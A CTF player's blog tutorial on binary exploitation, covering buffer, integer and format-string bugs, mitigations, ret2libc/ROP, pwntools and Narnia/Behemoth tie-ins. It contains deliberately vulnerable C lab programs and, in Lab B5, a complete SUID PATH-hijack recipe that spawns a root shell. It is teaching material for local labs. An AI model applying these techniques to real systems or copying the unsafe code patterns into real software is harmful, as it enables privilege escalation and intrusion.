Avatar
Part time CTF Player learn every day!!
🌠 I Love Hoshimachi Suisei!! 🌠
🌠 I Love Hoshimachi Suisei!! 🌠

Binary Exploitation, Deep Dive: Techniques, Labs, Workflow, and Narnia + Behemoth Tie-ins

Binary Exploitation, Deep Dive

Binary exploitation turns memory/logic mistakes into reliable control of execution. This long-form tutorial is hands-on and pattern-driven: it teaches how to recognize bug classes, build primitives (leak/write), pick mitigation-aware strategies (ret2libc/ROP), and automate. We’ll cover buffer overflows (incl. off-by-one), integer overflows/truncation, format strings (%n), SUID & environment pitfalls, a practical GDB/pwntools workflow, and a non-spoiler mapping to OverTheWire Narnia and Behemoth.

Sui

If you’re following my CTF series, start here: OverTheWire — Narnia (official) and Behemoth (official).


Table of Contents


1) Mindset & quick wins

  • Pattern → Hypothesis → Proof. Reduce issues to unbounded data, controllable formats, or unsafe arithmetic flowing into dangerous sinks.
  • Minimal PoC first. Prove read/write/control with the smallest payload.
  • Mitigation-aware. NX/ASLR/canaries/RELRO decide shellcode vs ret2libc vs ROP.
  • Stability matters. Think TTY, environment, working dir, and cleanup.

Orientation video:
LiveOverflow — Channel intro (bin 0x00)

Further references:


2) ELF & loader essentials

  • Sections vs Segments. Debuggers show sections (.text, .plt, .got), kernel maps segments (PT_LOAD).
  • PLT/GOT. Under Partial RELRO, GOT is writable early → %n → GOT overwrite. Full RELRO makes GOT read-only; pivot to .fini_array, data pointers, or go pure ROP.
  • PIE & bases. PIE randomizes code base; leak a code ptr or use info-leaks to compute offsets.
  • RPATH/RUNPATH. $ORIGIN paths into writable dirs are dangerous; never ship SUID with writable RPATH.

Further references:


3) Toolbelt & quick inspectors

  • Static: file, readelf -a, objdump -d -M intel, strings, objdump -R
  • Dynamic: gdb (+ pwndbg/gef), ltrace, strace
  • Mitigations: checksec --file ./bin
  • LOLBins: GTFOBins for SUID/sudo shell-escapes

Further references:


4) Mitigations that steer your approach

  • NX/DEP: non-exec stack/heap → prefer ret2libc/ROP.
  • ASLR: randomizes addresses; you need leaks or constraints.
  • Canaries: stop contiguous stack overwrites; bypass with a leak or non-contiguous writes (off-by-one pivots).
  • RELRO: Full = RO GOT; Partial = writable GOT early.
  • FORTIFY: adds runtime checks; expect different crashes.

Further references:


5) Core bug classes

5.1 Buffer overflow / off-by-one

Tell-tales: unbounded APIs (gets, strcpy, sprintf), loops without length checks, single-byte spills next to control metadata.
Exploit skeleton: find offset (pattern/cyclic) → NX off: shellcode; NX on: ret2libc/ROP. Off-by-one often pivots via saved frame/size fields.

Demo video:
Simple Buffer Overflow — step-by-step

Further references:


5.2 Integer overflow / truncation

Tell-tales: len=a+b; p=malloc(len); memcpy(p, src, user_len); (wrap small, copy large), signed/unsigned mixups, narrowing casts.
Exploit skeleton: force wraparound or negative→huge casts → under-allocation + oversized copy (or logic bypass).

Further references:


5.3 Format string (%n) — read/write memory

Tell-tales: printf(user), syslog(fmt, user) param order bugs, unsafe fprintf(f, user).
Exploit skeleton: leak stack to find offset (e.g., %7$lx) → place target addresses first → width-controlled writes with %hhn/%hn/%n (byte/word/dword) → fixups for mod 256 math → aim at GOT/RET/data pointers depending on RELRO.

Further references:


6) SUID, real vs effective UID & environment pitfalls

SUID runs with effective UID (often root). Calling system("tar ...") without absolute paths + attacker-controlled $PATHPATH hijack. Many LOLBins (find, vi, less, awk, tar, …) have shell escapes — hazardous under SUID/sudo.

Video (contextual):
PWN101 / TryHackMe — BOF intro (pairs well once you get a shell)

Further references:


7) Watching the crash & building chains (GDB workflow)

  • Break at input reads, dangerous calls, and function ret.
  • Use pattern/cyclic to find offsets; x/20gx $rsp to inspect stack; info proc mappings for base addresses.
  • For format strings: spray %p to map stack, then refine offset & %hhn math.
  • For ret2libc: leak a libc symbol → compute base → call system("/bin/sh") with alignment.

Hands-on video:
CSAW CTF “BigBoy” — overflow to shell

Further references:


8) ROP & ret2libc: tiny, reliable chains

Sometimes you only need ret2libc:

  • Leak puts@GLIBC (or any known libc symbol) to compute libc_base.
  • Compute system = libc_base + off(system) and "/bin/sh" address.
  • Stack layout: ret → system → ret → "/bin/sh" (add a lone ret for alignment on x86-64 if needed).

When ASLR + PIE + Full RELRO block GOT edits, go ROP:

  • Find gadgets (pop rdi; ret, ret for alignment) and call system("/bin/sh").
  • Keep stacks 16-byte aligned before call on x86-64.
  • Use “one_gadget” only when constraints are satisfied; otherwise classic ROP is more portable.

Deep-dive video:
Binary Exploitation Deep Dive — Return to LIBC (with Matt)

Further references:


9) From source → exploit: a production workflow

  1. Baseline: file, checksec, quick skim of inputs (argv/stdin/env/file).
  2. Threat sketch: overflow? format? integer? path/env?
  3. Mitigations: NX/PIE/canary/RELRO → pick shellcode vs ret2libc vs ROP.
  4. Crash control: pattern → confirm EIP/RIP reach; 16-byte stack alignment before calls on x86-64.
  5. Primitives: leaks (stack/libc) & write-what-where; find stable targets.
  6. Stabilize: TTY, minimal env, clear end conditions.
  7. Notes & fix: root cause, payload recipe, and remediation (safe APIs, bounds, fixed formats, absolute paths).

Further references:


10) Automation with pwntools (local ↔ remote)

  • One script toggles between process() and remote(HOST,PORT).
  • Use sendlineafter()/recvuntil() guards and assertions.
  • Add --dry-run to print decisions without sending.
#!/usr/bin/env python3
from pwn import *
context.log_level = 'info'
exe = './vuln'
elf = context.binary = ELF(exe, checksec=False)

def start(argv=[]):
  return remote(os.environ['HOST'], int(os.environ['PORT'])) if args.REMOTE else process([exe]+argv)

io = start()
# io.sendlineafter(b'name: ', payload)
io.interactive()

Further references:


11) Narnia + Behemoth tie-ins (non-spoiler)

  • Narnia: purpose-built classic C exploitation with source — ideal for recognizing bug classes fast.
  • Behemoth: reconstructed Linux/x86 challenges stressing overflow, race, and practical priv-esc instincts.
  • Train with the mini-labs below, then apply the workflow on the SSH boxes.

Further references:


Appendix A — One-liners & snippets

Mitigations

checksec --file ./target

PLT/GOT peek

objdump -R ./target | head
objdump -d -M intel ./target | sed -n '/<.plt>:/,/<.text>:/p'

Format-string sweep (rough)

grep -R --line-number -E 'printf\(|syslog\(|fprintf\(' .

SUID inventory

find / -perm -4000 -type f -printf "%M %u %g %p\n" 2>/dev/null | sort

Writable PATH segments

echo "$PATH" | tr ':' '\n' | while read d; do [ -w "$d" ] && echo "writable: $d"; done

Pattern buffer

python3 - <<'PY'
from pwn import *
print(cyclic(400))
PY

Appendix B — Extended mini-labs (safe, local)

Lab safety: do these on your own VM. SUID/LD examples are for education only.

Lab B1 — Classic stack overflow (no mitigations)

// bof.c — demo only
#include <stdio.h>
#include <string.h>
void win(){ puts("WIN! control achieved"); }
void vuln(){ char buf[64]; puts("say something:"); gets(buf); }
int main(){ vuln(); }
gcc -fno-stack-protector -z execstack -no-pie -o bof bof.c
# 1) Crash → find offset; 2) NX off: shellcode; NX on: rebuild w/o execstack & go ret2libc

Lab B2 — Off-by-one via missing NUL

// oob.c
#include <stdio.h>
#include <string.h>
int main(){ char s[8]; char tag='X'; strncpy(s,"AAAAAAAAAA",sizeof(s)); printf("tag=%c\n",tag); }

Lab B3 — Integer overflow → under-allocation

// intwrap.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(){ unsigned a=0xFFFF0000,b=0x20000; size_t len=a+b; char *p=malloc(len);
  char *in=malloc(1<<20); memset(in,'A',1<<20); memcpy(p,in,1<<20); }

Lab B4 — Format string read/write (%n)

// fmt.c — demo only
#include <stdio.h>
int main(){ char buf[256]; fgets(buf,sizeof(buf),stdin); printf(buf); }
(echo '%p.%p.%p.%p'; sleep 1) | ./fmt
# Then place target addresses first; use %hhn/%hn with widths to write exact bytes.

Lab B5 — PATH hijack in a sloppy SUID helper

// suid_helper.c — DEMO ONLY
#include <stdlib.h>
int main(){ system("tar -cf /dev/null /etc/hosts"); return 0; } // no absolute path!
gcc suid_helper.c -o suid_helper
sudo chown root:root suid_helper && sudo chmod 4755 suid_helper
mkdir -p /tmp/p && printf '#!/bin/sh\n/bin/sh -p\n' > /tmp/p/tar; chmod +x /tmp/p/tar
export PATH="/tmp/p:$PATH"; ./suid_helper

Lab B6 — ret2libc end-to-end (no PIE, Partial RELRO)

// ret2libc.c — compile without PIE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void vuln(){ char buf[128]; puts("name?"); read(0,buf,512); }
int main(){ setvbuf(stdout,NULL,_IONBF,0); vuln(); }
gcc -no-pie -fno-stack-protector -o ret2libc ret2libc.c
# 1) Leak puts@GLIBC via puts@plt(puts@got), return to main.
# 2) Compute libc base; 3) system("/bin/sh") with proper alignment.

Appendix C — Calling conventions quick notes

  • System V AMD64 ABI: args in rdi, rsi, rdx, rcx, r8, r9; stack 16-byte aligned before call.
  • i386 cdecl: args on stack (right→left), caller cleans; return in eax.

Further references:


Appendix D — Exploitation checklist (printable)


Resource Library (Videos & Reading)

Videos (curated)

Reading / Tools


Final note

Use this as a playbook: enumerate mitigations, spot the bug class, prove a minimal primitive, then choose a mitigation-aware route (ret2libc/ROP) and stabilize. Pair the labs here with your Narnia/Behemoth runs to build real muscle memory.


Thanks for reading!

Until next time — Otsumachi!! 💖☄️✨

Cinema

all tags

GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86
dash theme for Jekyll by bitbrain made with